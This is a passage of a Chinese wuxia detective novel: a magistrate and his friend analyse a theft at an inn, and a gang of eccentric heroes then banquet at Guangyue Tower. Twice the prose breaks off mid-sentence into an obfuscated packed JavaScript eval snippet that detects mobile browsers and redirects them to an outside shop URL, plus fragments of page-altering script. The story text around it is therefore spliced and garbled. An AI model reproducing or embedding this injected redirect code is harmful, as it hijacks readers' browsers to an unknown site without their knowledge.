“县尊不愧是阳明公的高足。您当然知道……铁铉公的故事了?” 铁铉是建文帝的兵部尚书,方当永乐起兵,他力挫永乐于济南城外,几乎坏他大计,于是永乐将他恨入骨髓,流传下许多堪称骇人听闻的故事,譬如永乐皇帝对铁铉用了许多残酷的刑罚,又对他施以炮烙,将烧焦的肉片割下来,塞在他自己嘴里,问: “好吃么?” 铁铉竟然将肉片大嚼起来,咽下肚去,笑道: “忠臣孝子之肉,当然好吃!” 铁铉受尽酷刑仍然不肯降服永乐,永乐竟命人支了一口大油锅,将他活活炸成焦炭。敌人成为一块焦炭之后,似乎不足为惧了,永乐皇帝才叫人把焦尸撑起来,面向他,作拜倒状,且笑道: “你而今也来朝拜我了么?” 话音刚落,那口大锅中的滚油竟尔沸腾飞溅,好像大殿上的一丛烟火。铁铉的焦尸直到给拆碎散架,也不曾朝拜他。 铁铉身后遗下妻子和两双儿女,儿子发配为奴,两年不到就都给折磨死了,妻女落在教坊司,铁夫人殉节而死,两个女儿不知去向。 当日继文便对沈炼道: “传说铁铉公有一把铁尺,他在兵部坐堂时就以此发号施令,虽然算不得什么太珍贵的宝贝,毕竟是古人遗物。我……我想看它一眼。” 沈炼问道: “铁兄,同样照你方才的话说,那铁尺虽然是宝贝,毕竟也只是一件古人的旧物,难道你有官不去做,就是为了执着于这样一件东西?” 继文慢慢地道: “世人都不知道铁铉公的两个女儿上哪里去了,我却知道。两位铁小姐流落教坊司,始终不肯失节受辱,尝遍威逼打骂,吃尽了苦头,其中酸楚,自不消说。过了十来年,永乐皇帝的江山稳了,渐渐地无人注意这里,便有极慕铁铉公气节的,偷偷地买通了关节,直说此二女给折磨死了,暗中却将她们赎了出来,当作自己的女儿一样照顾。往后便与寻常妇人一样地嫁人,生儿育女,代代将这段故事告诉她们的女儿,以至于流传至今。在我考上武举之后,回乡探我的祖母,她老人家却长叹一声,告诉我这件事。” “兄长是位豪杰,又不是巾帼,铁太夫人为何将这件事告诉兄长呢?” 继文的面上红了红,半晌才道: “当日我中了武举第八,耀武扬威,自觉威风,更是在刚下试场,尚没发榜的时候,遇着了一位贵人。这贵人姓甚名谁,就告诉县尊大人不妨。他就是本朝的户部尚书李廷相老大人。李大人年轻的时候也曾在锦衣卫办事,后来毕生和锦衣卫中人有牵扯。当时,锦衣卫指挥使陆大人请他去武举的试场,帮着挑选人才,他便挑中了我,要弟去羽林卫做一个指挥同知。” “那么您家中的老夫人,一定是不愿您做锦衣卫,才将事情告诉您,以启发您的气节的了。” “正是。”继文叹道: “自从知道了自家的渊源,我的心中再难平静,此后我一天没上任就辞了官,四处游荡,不知道该去哪儿,不知道怎样才能让此心安定。后来,我听说铁铉公有一把断公义的铁尺,被西安府的官员搜集了去,混同在一批礼物当中,要献给皇上,我——我睡不着,我心想无论如何要看一看那把铁尺。人间的公道,究竟在哪儿?” 沈炼笑道: “难道公道竟就会刻在那把铁尺上吗?铁兄,太执着不免着相啊。” 继文苦闷地瞧着他。 沈炼道: “铁兄的意思是,当日在客栈中并未得到那把铁尺了?” “我上楼之后,只见屋中一片黑暗,箱子里本就是什么也没有。” “两位镖行朋友呢?” “也不在。” “铁兄身手敏捷,在听到那一声‘捉贼’之后,是第一个上去的,叫声和开门绝不会超过三个弹指,对吗?而开门之后,那屋中黑暗、并且没有人。为什么会是黑暗的?那是间长廊尽头的房间,外面正在打雷。” “窗户上着板。” “可是,两位镖行朋友是我们众人一起送上楼去的,那时候楼上的房间并未上窗板。即是说,是镖行朋友自己上的了。他们为何要上窗板呢?” “风雨这样大,上板也正常。只是……”继文也皱眉苦想,“走廊尽头的房间,分明是他们自己挑的,挑中这个位置,就是说两人并不信任我等,才要随时留一个逃跑的路子,所以为什么他们还要特为安上窗板?” “如此不妨换个思路。安上窗板是为了不让雨水进来,有没有可能……也是为了不让旁的什么东西进来?设想两人进屋以后,发现了什么,于是感到选择这间屋子——这扇窗,实乃不智之举,于是便将窗板合上,才敢休息。过了大约两个时辰,那位诸葛兄弟,忽然大叫有贼,铁兄奔上楼去,不仅那两人不见了,连箱中的珍宝都已遗失。贼是哪里来的?” “我等整晚都在楼下饮酒,贼人不可能是从楼下上去的,甚至于此人就算在长廊上一沾足,也会发出异响,何况楼梯的那一端和长廊的景象在楼下是一览无余。那么就只有一种可能,贼人是从外面来,借雨声之掩护,从房顶借窗口潜入房间的。” “那该在镖行朋友把窗板合上之前。” “正是。也许是屋里太黑,两人听到了贼人潜入的声音,心中恐慌,故而将窗板合上,想不到却将贼人留在了屋里,此后两人安心睡眠,或者至少诸葛兄弟睡着了,我们都听见过他的鼾声。那贼人见来路被堵死,无奈之下,也只得硬闯出门。” “那么,这贼人的身手却是实在不错。他要在三个弹指之内,带着那沉重的大箱珠宝自己脱身出去,走的必然是门——因为他不可能有时间翻窗出去之后再把窗户好端端地盖回去。你记得易秀才站在长廊的窗前张望么?他也许发现了什么。而两位镖行朋友,大约也是追着那个贼人去了。姑且就先这样假设吧。但我想并非如此。那查镖师身受重伤,如果他还能在这等情形下迅速翻窗出去,这等身手,恕我直言,东平十虎我是会过的,不至于在他们手下伤成这样。” “但是,县尊,这样有一个问题……” 继文与沈炼对视一眼,沈炼道: “在黑暗中,与我等搏斗的人是谁?” 继文道: “我记得,金兄曾经和那少年在黑暗中误交上手。” “你想可能我们所有人都是如此么?尤其是我自己……我认得来人的路数,绝不是屋里任何一个人的。” 继文笑道: “真的么?县尊,比如说如果从楼上跳下来袭击你的人是我,你当时也是认不出来的。” “正是。所以我直到接了来信,确认你是横练的功夫,才敢接待你。说来也怪,那人竟是一身崆峒派的功夫。” 崆峒是正是西安府的一大派。难道长风镖局的两人在他们本地另有仇家,千里迢迢地赶来袭击,还要栽赃嫁祸给茌平地方的贼匪?但是,东平十虎可不是那么好耍弄的,更何况是在他们眼皮子底下劫了镖车,杀死长风的十几个好手。 沈炼沉吟道: “我想是时候会一会易秀才了,我要知道他那天看到了什么。铁兄,此事要请你帮忙。” 当日在回廊上洒扫的仆役,见到到任刚刚逾月的沈县令,携着一个穿着朴素的青年走来,纷纷低头到廊下回避,一面又忍不住偷眼瞧着他们。那青年虎背熊腰,生得很是威武,但看上去倒不像个做官儿的,沈县令却又偏偏是把他往寅宾馆引去。 县衙在城西,这还是洪武二年,本朝开国的第一任茌平知县戴郁文建造的,后来重修了多次,如今比起当日初建时是要宽敞威严得多了,是一整片令人眼花缭乱的建筑。大堂五间,两边是东西府库,出来则有赞政厅三间,龙亭库三间,钦恤亭三间。四面仪门三座,东小门一座,西小门一座。靠着城墙,东吏房十间,西吏房十间。此外就是思政堂、东厢房、西厢房、谯楼、土 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16995988|193873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神祠、狱舍、寅宾馆,以及左右粮厂。 寅宾馆便是招待羁旅中的官员们的地方,侧面的耳房则是驿丞的住处。仆役们眼见沈县令引着那青年进去,原来他是本县新任的驿丞,更是大为吃惊——自古以来没有驿丞要让县令大人亲自招待的道理。 两人却都未意识到四周是这样的众目睽睽。沈炼引着继文走进去一看,陈设简单,倒也干净,一张竹床,一套半新不旧的木头桌椅,墙上挂着些拉拉杂杂的日用品,是上一任驿丞留下来的。 沈炼指着那堆杂物笑道: “这个人,倒是个有运道的,因为伺候一任路过的上官伺候得好,竟被那上官索了去听差,欢喜得他把自己的这些东西都舍了不要。兄长看看能用则用,不能用的和我说。” 继文道: “我在路上走惯了,用不了这许多东西。”他在屋子里转了两圈,显得很是满意,又打开窗子往外看了看,只见连绵的群山。忽然道: “那条路就是往西王官屯的么?” “正是。翁家虽然住在乡下,耳目却灵通,他有不少‘朋友’都在城里。兄长只要在这儿平平静静地住着,不上十天半个月,他必来请你。西王官屯这条路,还直通本县西门,仅这一条,我就够把那翁天杰传来问话了。可是为免打草惊蛇,劳烦兄长帮我探他一探。” 西王官屯正是翁家宅邸所在。翁天杰也和其他乡绅们一样,等闲是不上城里来的,城中逼仄,究竟不如他乡下的宅邸宽大自在。可是他在城中有许多朋友,耳目众多,有什么消息,他知道得简直比衙门里还要快。据说耽搁在外地办事的翁天杰,如今也该回来了。他是否已经得到了关于所有这些新任县令、宝物、盗匪和外地人的消息?他本人和那些宝物又有什么关系? 沈炼离开了,但是继文坐在那张竹床上,呆呆地望着自己的掌纹。沈炼方才和他的谈话,又在心头浮现。 “翁天杰此人,我还没有见过。不过,从种种道听途说看来,他却有个毛病。天下豪杰多多少少都有这样的毛病,而当今的江湖,却有两个人最为严重。一个,是天长的杜少卿,他父亲做过一任的知府,却是一身呆气,两袖清风,是有名的清官贤臣。他家里有数十代行医积攒起来的万贯家私,人又慷慨豪气,不肯做官,却十分的急公好义,家里的产业,不会经营,倒一味地送出去给人,因此不远千里跑去打他的抽风的也有的是。时人看着,都道他家这几百年的基业,就要败在他手里了。” 叶继文忍不住道:“既然都知道他有一场败落之难在眼前,为何没有一个人去提醒他?” 沈炼笑道:“咱们这些和他非亲非故的人,怎么说?说了又有什么用?天下的金钱财利如水,一时散了一时来,何必为了些微末算计败兴。这杜少卿是天下的名士,纵使他哪天真的家财散尽,败落了,天下英雄,还能叫他一口饭也没得吃,一个安身之所也没有么?” 继文也笑了: “倒是继文看小了天下英雄!” 说着又向他请教那第二个人是谁。沈炼又道: “那另一个是在北边,而且铁兄恐怕也竟认得的。兄长既然和前任的户部老尚书有交情,应该知道他有个小儿子李孝元吧?此人在京里做官,据说武功了得,但天子脚下,放肆不得,因此没什么事迹出来。他最有名气的地方,只在能使钱。道上的朋友们说起来,都道他是个散财的童子、舍银子的观音。他和杜少卿又不同了,李家三代都做到六部的堂官,他祖父和父亲,都做过户部尚书,他哥哥早死,死后也赠了兵部尚书,这样一个家庭,和几十代才积累起来的杜家截然不同,却是会经营的;谁也不知道他家中有多少资财。李孝元虽然花银子如流水,但他这三代尚书之家,要得银子还不简单么?就如守着一汪活水,源源不尽。” 继文也渐渐听出了些门道。 “这两人家中都是根基深厚,那翁天杰又如何?” “据说,他原来在九边地带做一个兵卒,因为得了战功,不仅可以除籍,而且还有了几百两银子的封赏,于是就带着妻子,挑了个山清水秀的好地方过活,如是十年。东昌府的江湖客,人人佩服这翁天杰,说他急公好义,不爱金钱,专门扶危济困,名声相当不坏。你可知道,这样的名声,可是要大把银子去买的。两个月之前他方才花了三百两银子去替庄内的一个佃农开解官司,此外类似的事情十年间数不胜数。我倒想请教请教,这位豪杰的生财之道。” 继文也在江湖中走动过几年,自然明白他的意思。江湖人的生财之道,多的是些无本的生意。不过继文心想,翁天杰既然是个好人,得了银子也不为自己花用,倒也不必这么容他不下。他惦记着的是被东平十虎劫去的财宝的事,便又问沈炼剿匪之事何如。 “县尊如有志于剿匪,继文一定效劳马前。” 沈炼便掰着指头给他数:“沈某前头。还有三、四……不,六位县官,全都浩浩荡荡地宣誓要剿匪,可是一无所获。若不准备万全,贸然前去,折损了人马,都是百姓受累。我想,还是要把事情一一地搞清楚。” “我看,没有什么比把那些强盗捉了来审问更能清楚的了,破了这盘踞山中的匪帮,也是百姓之福。” 沈炼微微一笑: “铁兄,你说,假如那两位镖局朋友身后真有‘尾巴’,有仇家千里迢迢从西安府跟过来要杀他们,他们人生地不熟,怎就找了艾山这么个好地方,东平十虎又怎能容他?” “那必是有熟门路的人——” 继文闭嘴不说话了,沈炼又只是微笑,背着手踱出门去——还要回去批他那永远没完没了的公文。只剩继文在这里冥思苦想。想了半天,忽然一声长叹,起来扫地。 13. 上与浮云齐 再过几天,翁天杰回来了,他说他要请客。 宴席设在光岳楼。这是与岳阳楼、黄鹤楼齐名的一座天下名楼,自洪武七年兴建至今,刚好是一百七十年。期间几经修缮,到如今是壮观得多了。洪武年间用修城剩下的砖石木料随随便便地一并造了这楼的那一任县令大概不会想到如今的光岳楼竟有“虽黄鹤、岳阳亦当望拜”的盛名,他甚至不会想到此楼将得名叫“光岳”二字。在当日,那座小小的塔楼只是作为城墙防卫的一部分,用来鸣钟示警的。 这座楼高有九丈九尺,上去第四层而瞭望,可以见到四面的护城河,拱卫着东昌府,从连绵的群山间来,又向遥远的群山中去。 这楼上却是个清雅亭子样,当中摆着一张大木桌,仆役们七手八脚乱纷纷摆上一大桌的餐馔,然后又默默地去了,只在下楼的时候听见他们模糊的给什么人请好的声音。 跟着一阵脚步的乱响。光岳楼全由木构,走在上面咚咚有声:两个人穿软底的皂靴,两个人穿布鞋,又一个人是毡底的鞋子,这种鞋子的式样多少要花哨些。还有一人穿的是木底的鞋子,大约是女眷的弓鞋,为了显出足弓纤小,所以常在鞋子下面衬木制的高底,一些拜脚狂就有意见,撰了洋洋洒洒的雄文来论述弓鞋的木底反而会令那些小脚没缠好的女人掩盖了自身的缺陷,云云。 马上这一伙人就上来了,一个身材极高大的汉子,携着一个女人;其后跟着四个身材高矮各异的客人,就是传甲和读者们早已结识了的,金凤白、公孙雨、易明湖和西门烈。 原来此人就是在整个东昌府有名的翁天杰,沈炼和传甲盼他回来,可盼得久了。在他没回来的时候,传甲因为当日在客栈中结识了本地的几位江湖人,经由他们介绍,对此城已是互相熟悉,金凤白甚至带他去见了自己的叔叔,叔父大人捋着胡子,严肃地说: “嗯。你可总算结交了一个像话些的朋友。” 翁大哥回来了,大家又竭力撺掇两人见面。翁天杰最喜结交天下英雄,传甲身长八尺,眉目英朗,好一副英雄气概,大家于是把传甲当作一盘给翁大哥接风洗尘的菜送上去。翁天杰说,他这个主人,一来给远道而来的传甲接风,二来,慰劳和他一起出这趟远门的边浩,三来终于祝贺老秀才的吉店开张,于是设成此宴。 此时已是雨季的尾声,在即将过去的那个夏天里,一场接一场的暴雨让苍穹仿佛变成了一道泛滥的河堤,各地苦于水灾,又是一场民不聊生——靠天吃饭总是这样,然而暴雨过后,天朗气清,江山如洗,这是欣赏北国山光水色最好的季节。帖子送到,礼数倒很周全,请的是传甲、边洪,还有县尊大人。 边洪大喜,拉着传甲一道去向沈炼告假,而且一力撺掇他也去,说: “小的哪有这个脸面吃上翁大庄主的请啊,还不都看在县尊的面儿上?县尊不去,我们也没脸去。” 沈炼冷笑道: “我是不如你们两个清闲自在!县尊大人我要赈灾去。你是他堂上要好的弟兄的哥子,就是没帖儿,叫他把你携了去也不妨,难道翁家那么大的家业,他还赶了你出门么?” 说着就转身要走,边洪赶快将他拉住,道: “县尊,要赈灾用不着出衙门,在门口搭起棚子舍点粥就是了。你怎么往南边走?” 沈炼道: “蠢东西,我不上东昌府要赈济的米,拿什么下锅?难道把你边老五的脑袋拧下来,给百姓当猪头肉吃!”顿了顿,又说: “你也是有传承的人家,就是一时败落,这是人有旦夕祸福,为甚么而今只好像能混口饭吃便万事大吉也似?” 边洪听了,付之一笑,道:“人生一世,除了喂饱这张冤孽口,还有甚么大事?我家老太公,就是因为太上进,才栽进那功名利禄的圈套里。” 沈炼却看出那一笑中有许多落寞之意,明白他心中仍有不平之气,而自己无端扯起人家的心事,实在是失言了,便道:“这也罢了。” 边洪转而笑道: “我要真有喂饱一县百姓的这么大脸面,我也就舍了,你别道我们皂吏之辈就没有为百姓的心。可是县尊大人,你别忙哪,那知府大人的抽风岂是容易打的?倒不如咱每一道去见了翁老大,和他说说,叫他舍两个呢。” “衙门赈灾,自有章程,难道我堂堂的县令还要去讨饭?他翁天杰有多么大的本领,能养活一县上万张嘴。何况东边的堤坝垮了,我还得去看看怎么修,今儿没工夫和你们这些人歪缠。我也警告你,衙门里时时离不开人,你们两个总要留一个看家。要是玩忽职守,怠慢了过路的官员们,你瞧我是打下你左半截来呢?还是右半截来呢?” 说着他就把手按在腰间的矫心剑上了。边洪连连告饶。 “啊呦,我的县尊大人,你饶了我罢!我这左右半截子还是合在一块的好。您说呢?” 沈炼懒得和他啰嗦,哼了一声,扭头走了。边洪虽然十分地想到翁天杰的筵席上蹭顿吃喝,但因此前他兄弟嘱咐过,要他尽量地把铁传甲和沈炼都请了去,如今沈炼已是甩袖子走了,要是传甲再不到席,恐怕翁天杰不能给他什么好脸色,因此忽然大方了,叫传甲自去赴宴。传甲一心要和翁天杰多接触接触,也没有过多推辞,末了,他在街上买了几样薄礼,自己来了。 翁氏夫妇身后的是凤白。今天打扮得甚为齐整,穿着簇新的一身宝蓝色洒线杭绸衣服,戴一顶文士的方巾,上来一见那雨过后的爽朗景色,立刻又要有诗,幸好公孙雨已经利落地跃上楼来,还不轻不重不怀好意地拐了他一下。他是一身短打,腰间带着长短两把刀,一来,就毫不客气地自己在桌边坐了,也不看自己坐的上下首哪边的席位,只顾着从地上捞起酒坛子来,拿了个大碗倒酒喝。翁天杰丝毫不以为忤。公孙雨虽然我行我素,但对他极为恭敬,自己虽然一副再迟一秒钟喝不到酒就要活活渴死的架势,这第一碗酒却是递给了翁天杰。翁天杰接过来仰脖子两口倒进了喉咙里,哈了一口气,道: “好酒!” 传甲提着几个礼品包裹,和在楼下迎客的边浩把臂走上楼来的时候,便见到几个人已经是推杯换盏地喝开了。翁天杰见到他,眼前一亮,他倒丝毫没有一方大人物那样的傲慢习气,即刻倒上一碗来敬,而且向传甲炫耀自己的几个弟兄,按说大家本来认识,用不着多说,他却高高兴兴地说了凤白的文采多么多么了得,又说南阳一帖堂名声之声,而后又向他推销公孙雨,说他是北派阴阳刀的独门传人,而后笑道: “人家都说是因为他脸上的麻子比雨点还密,所以叫这个名字。却不知三年之先,我二人一道走在房山的岗子上,给一伙山贼缠上了,我这公孙老弟一个人,两口刀,搅得他们十来个人全没办法,只在最后还是叫他们摆了一道,那些人使的什么南边传来的暗器,好像个大炮仗似的,轰一声火花乱飞,炸得我这公孙老弟满脸是血,真把我骇了一跳。所幸后来无事,只是不太好讨媳妇儿。” 说着一伙人哈哈大笑起来。公孙雨只顾着喝酒吃菜,道: “媳妇?讨它干什么。爹妈又不指着我传递香火,还是喝酒快活。” 老秀才还是穿着身不干不净的蓝棉布直身,梆梆地敲他的头,说: “你这小子,说些什么乱七八糟的。快不要自丧其气,今年过年回去望望爹娘要紧。” 公孙雨嘴里还嚼着东西,道: “秀才,你不用说了。我敬你是个秀才,可不爱听你噜苏,你不要以为坐过两天馆就能当天下人的老师,我离家出走之前,可是先把学里先生揍了一顿!” 气得老秀才直瞪眼。他看着虽老,脾气却像小伙子一样火爆,两把将袖子挽起来,传甲见他底下身材竟然十分的健壮,并不是一般的枯干老头,先吃了一惊。老秀才嘴里嚷嚷着说: “我便要替你那先生教训你一顿,叫你知道知道什么叫孝悌廉耻!” 传甲忍不住道: “两位果然还是都消消气罢,我——” 翁天杰笑道: “你不用管他们!我就瞧今儿能不能打起来。” 他这么一说,那老秀才就翻个白眼,偃旗息鼓了,并且从公孙雨的手里夺过酒碗来喝。公孙雨也不生气,又自取了一个碗。传甲看着也好笑了起来: “公孙兄弟倒真是有酒万事足!” 老秀才道: “谁不是呢?谁不是呢?”他捧着那碗就像捧着药一样,哼哼着说。“老秀才我呢,本也指望着考个功名,光宗耀祖,结果考了一辈子,从小秀才考成老秀才,终归是不成呦……” 说着说着,他倒好像已经撒起酒疯来了,拿筷子敲着酒碗,没腔没调地唱道: “我定下文体叫八十股,句句对仗平仄要调。考得你昼夜把心血耗,背得你大好青春等闲抛……考得你不分苗和草,考得你手不能提篮肩不能挑。考得你头发白牙齿全掉,考得你躬背又驼腰。年年考、月月考,活活考死你这命一条!”* 唱到后来,自己泪水盈盈。这时候,忽然从梁上钻出一颗头来,把大家都唬了一跳,谁也不知道他是什么时候爬上去的,翁天杰带来的那女眷也惊得往后一靠。这人骑在梁上,笑嘻嘻地说道: “老秀才的歌子,比老金的倒强些!” 老秀才喝得眼朦朦的,慢吞吞抬起头来,手上却精准地飞出去一颗虾球,在那人额心上打出一点红印来。那人一个倒栽葱,跌下房梁,不过身手还算矫健,快落地了,伸手在地上一撑,就跳了起来。原来正是西门烈,精瘦,黝黑,上来抓起馒头就吃。那女眷柔声劝他吃些包子,并把那一屉都摆到他眼前来。他说: “我就知道姑奶奶对我好。”便拉了张凳子,坐在那大嚼起来,又要从公孙雨手里抢酒喝,那女眷微一摇头,他就扁着嘴缩回手,女眷倒茶给他,又道: “可怜。不知道几天没吃饭了。” 那少年一边猛吃,一边于百忙之中腾出一只手来比了个巴掌,就是说五天。 再有就是边洪的弟弟边浩,家里没败之前,原是弟兄六个,所以如今大家也都叫他边老六。他和边洪弟兄两个生得一模一样,高矮胖瘦也都相当,可是精神气概截然不同,也是一件奇事。 翁天杰靠着栏杆站着,手里端着酒碗,看着这么一帮人,这么乱七八糟的席面,老秀才嘟嘟囔囔地唱,公孙雨和西门烈拌嘴,金凤白扯住边浩说要念诗给他听,他的妻子,坐在这帮人之间,微笑……乱糟糟的一切,反而哈哈大笑起来,又对传甲说: “铁兄,你瞧我这帮弟兄如何?” 传甲答道: “老的老,少的少,奇的奇,怪的怪。” 翁天杰拍掌笑道: “妙哉,妙哉!我也是老少奇怪人物当中那最古怪的一个。” 老秀才一喝酒鼻子就发红,此刻眯着眼睛,盯住传甲道: “这两天净见着你和这帮不着调的东西厮混了,你到底是干什么的?” 传甲便说他容县尊挽留,做了此地的驿丞。老秀才却一点面子也不给他,一巴掌拍在桌上,差点把菜翻了西门烈一身,气得他跳起来叫。老秀才道: “混账!你既有一身金钟罩、铁布衫的横练功夫,就该致力功名,报效国家,在这鸟不拉屎的小地方做个驿丞,不觉得愧对天地爹娘么?” 西门烈道: “老秀才自己使不上劲儿,就冲别人撒气,有本事你考个老爷去!” 公孙雨也掐着指头算了算,笑道: “对啦,翁大哥,你给老秀才些盘缠,叫他考老爷去吧!”原来今年就是大比之期,八月里顺天府就要开乡试了。那老秀才连连摆手,一句话也说不出了。 传甲道: “我原是个走镖的,斗大的字儿不认识一筐,甚么功名,不去想它,只要有口饱饭也就是了。” 翁天杰道: “那么铁兄原本在哪个镖行做事?” 传甲笑道:“在松江府四处混口饭吃罢了,替人家押押布匹之类不值钱的物事。唉,广兴这块金字招牌底下是人才济济,我啊,压根是排不上号!” 边浩兴致勃勃地道: “我听说那广兴镖局的总镖头黄彦超,像三国时候的吕奉先一样能使二百斤的精铁枪,果真么?要是,真想和他较量较量!” 原来边浩自己也使枪,是以对此极感兴趣。传甲道: “这倒是错传了,他根本不使枪。” “不使枪?” “是啊,黄老大使的是一根棍,就和孙悟空的金箍棒似的,不过没甚么彩儿,只是一条乌沉沉的铁棍。” “使枪多威风!” 翁天杰笑道: “老六,这你就不懂了。那黄彦超开的是镖局,走南闯北的生意,一路上少不得和人干架,要是使枪,把人家一戳一个窟窿,官府还能饶他?到时候,本是从南到北的生意,搞不好变成从南到北的流窜了。” 一帮人大笑起来,边浩拍着大腿道: “是了,是了,棍要是使得好,就是把人打成内伤,当时也看不出来,就是回家之后马上吐血三升,竟死了,也找不到他头上去。” “怪道人家当总镖头呢!”金凤白啧啧赞叹道:“精明,精明。” 公孙雨拿胳膊肘把老秀才一拐: “瞧见没有?老秀才,你就是不精明,才一直考不中。” 老秀才骂道: “呸,要你管!” 传甲毕竟也在南北走闯过,因讲了许多松江府的见闻,席上热闹异常。那女眷因见翁天杰又要放量饮酒,屡劝不听,便也自斟了一杯——终于有一个人不是用碗喝酒了——来敬传甲,道: “贱妾屠苏苏,见过这位壮士。请问壮士名姓?” 传甲低着头,也是双手捏过那酒杯,道: “我叫铁传甲。嫂夫人不必这么多礼……” 苏苏笑道: “好了,铁这个姓氏最好。” 传甲忍不住抬头来看了她一眼,只见这女子虽说当然不是传甲见过的最美丽的女子,可是却端庄温柔,嘴角含笑,一张圆圆脸儿,头发像鸦羽一样生光。他似乎被一种不可抑制的冲动驱使着,接下去道: “怎生好法?” 苏苏道: “本朝的英雄里头,我顶佩服的就是铁铉公。” 传甲道: “也不见得姓铁就和铁铉公有什么沾亲带故的。”说着将杯酒尽了。 翁天杰却不乐意了,在那大发牢骚,道: “苏苏,你为甚么要叫自己作‘贱妾‘?” 苏苏只顾着给他碗里夹菜,道: “你又呆了。” 翁天杰不依不饶地道: “我顶看不上女人管自己叫贱妾,更看不上男人叫女人贱人。为甚么要贱来贱去的?你是我的老婆,我们俩是一个人,你是贱妾,我是什么?” 苏苏笑道: “我看呀,你是世间独一无二的一个贱丈夫!” 翁天杰琢磨了两回,竟大笑道: “好了,我就做个人间的贱丈夫罢!”就着苏苏的手吃了一杯酒,又来敬苏苏,两人竟是吃了一遭交杯酒,他夫妻恩爱,一至于此,把在场众人都笑得了不的,连连起哄。苏苏道: “都说女人应该时时刻刻地记着害臊,我倒看不出爱自己的丈夫有什么可害臊的。”众人连声称是,姑奶奶威武,姑奶奶万岁地饶了半天舌。翁天杰对他这个妻子极为得意,隔三岔五就要给老婆打金钗子,银钗子,金项圈,银项圈,丝绸的衣服,缎子的袄,苏苏虽然很不耐烦戴那些首饰,为着要丈夫高兴,每天打扮得花枝招展,举动之间,一阵香风,和一串手镯的叮当,比她的容貌还更撩拨着人的心弦。传甲简直连头也不敢抬起来,已经打定主意要做席上第一的大饭桶。就在这个时候,楼下却传来一阵喧闹。声音传上来时,虽然已十分微弱,但在场诸位都多多少少是练家子,耳聪目明,当即被吸引了过去。西门烈第一个好奇地扑在了栏杆边上,瞧了半天,转过头来笑道: “老秀才,你瞧,下头是一个你的本家!” 那老秀才瞪了他一眼,不说话,但依然慢吞吞地站了起来,朝栏杆外一望,众人只见在光岳楼底下,一切都十分渺小,街上行人如织,也只变得豆点大,其中有一个脏兮兮秀才模样的人,到处把人拦住,拦着了就冲人家打躬作揖,不知说些什么。往往人家就把他推开走自己的路,这秀才像个陀螺也似地在人群中漫无目的地转来转去,终于大喊一声: “天呀!没天理了吗!”栽倒在地。西门烈笑着冲老秀才说: “你瞧哇,又一个念书念疯了的,老秀才,你纵中不了,可别变成他一样了。”老秀才的脸色越发阴沉了。翁天杰也瞧了半天,笑道: “这倒有趣儿,请他上来聊聊,怎样?” 众人都说好。西门烈要拉着公孙雨一块儿去,老秀才不让,说他口没遮拦,不会说话,没的辱没了斯文。他就和公孙雨对着做了个鬼脸儿。末了,是老秀才和作读书人装扮的金凤白一块去了,不多时候就搀上来一个人。只见此人脸上、身上俱是脏得要命,昏昏沉沉地不晓事。西门烈道: “秀才也和我一样没饭吃,麻子,给他来点。” 立即公孙雨就要拿烈酒去灌他。苏苏连忙站起身来叫不可,着人到外面买了些熬得稠稠的米粥回来,只打出米粥上面浮着的一层厚厚的米油来给这秀才吃,不多时他便醒转过来,知道眼前的是恩人,便向诸位道谢。可是他一抹嘴,除了米汁以外,还抹着了一层灰,臊得他恨不得找个地缝钻进去。苏苏又叫人打水来给他洗脸,洗过以后,就看出是一个斯斯文文的读书人,二十来岁,戴一顶四方巾,穿一身脏不溜秋的直裰,可是脏归脏,料子很好,是新衣裳。 翁天杰笑道: “不必道谢,我知道您一定是孤身在外遇到什么难处了。俗话说,在家千日好,出门一时难,这地面上不太平哪……如今既然相逢,即是有缘,这儿有酒有菜,何不吃着喝着,把前因后果说来听听?” 那秀才拜了又拜,可是因为身上腌臜,不肯入席,老秀才道: “得了,你不用和他们客气,你瞧着,这不害臊的还有呢。”西门烈就尽情地扯起衣襟给他看,原来比他还脏。 那秀才只好入了席,冲大家连连拱手道谢。他说: “晚生道逢不幸,遇见各位壮士,真是三生有幸!滴水之恩,涌泉……” 边浩打断他道: “谁要你噜苏这些!难道翁老大救你,是为了要你报答?只怕你倾家荡产地报答,还不到翁老大的一根脚毛粗哩!” 那秀才连忙向翁天杰又再三地拜谢。翁天杰道: “这位客人,你是哪里人士,叫什么名字?” 秀才道: “晚生是庆阳府安化县人,我名叫张承勋。此番是上顺天赶考,想不到路上遇着贼人,盘缠、行李,都被他们抢去,身无分文,流落异乡,真是叫天天不应,叫地地不灵……” 老秀才道: “既然是同学中的朋友,自当互相提携,你不必谢来谢去谢个没完了。” 原来当日都管进了学,中了秀才的叫“朋友”,没中过的童生,就叫“小友”。就是十八岁的秀才,也是朋友,八十岁的童生,也是小友。那张承勋是三年前进的学,老秀才倒是三十年前进的学;当下二人按读书人的那一套,叙过年齿,张承勋又请教老秀才的姓名,他道: “愚兄姓易,单名一个字旷,草字明湖。” 公孙雨插嘴道: “老秀才,你真是今天一个名儿,明天又换一个名儿……谁能记得住?” 易明湖便怒斥他不学无术、没文化,连什么是字什么是号都分不清。原来这两人竟是同乡,早二十年之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16995989|193873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 先,易明湖连试不第,家里饿死了老娘,他悲恸之下,对功名灰了心,回乡来只做些卜卦算命的末流行当糊口,整天携着一个布口袋,放着他那些家伙什儿,扛一个布幔,走街串巷。那布幔上写着他的字号“易义堂”,就是当日传甲和沈炼在客栈里见过的那一支了。 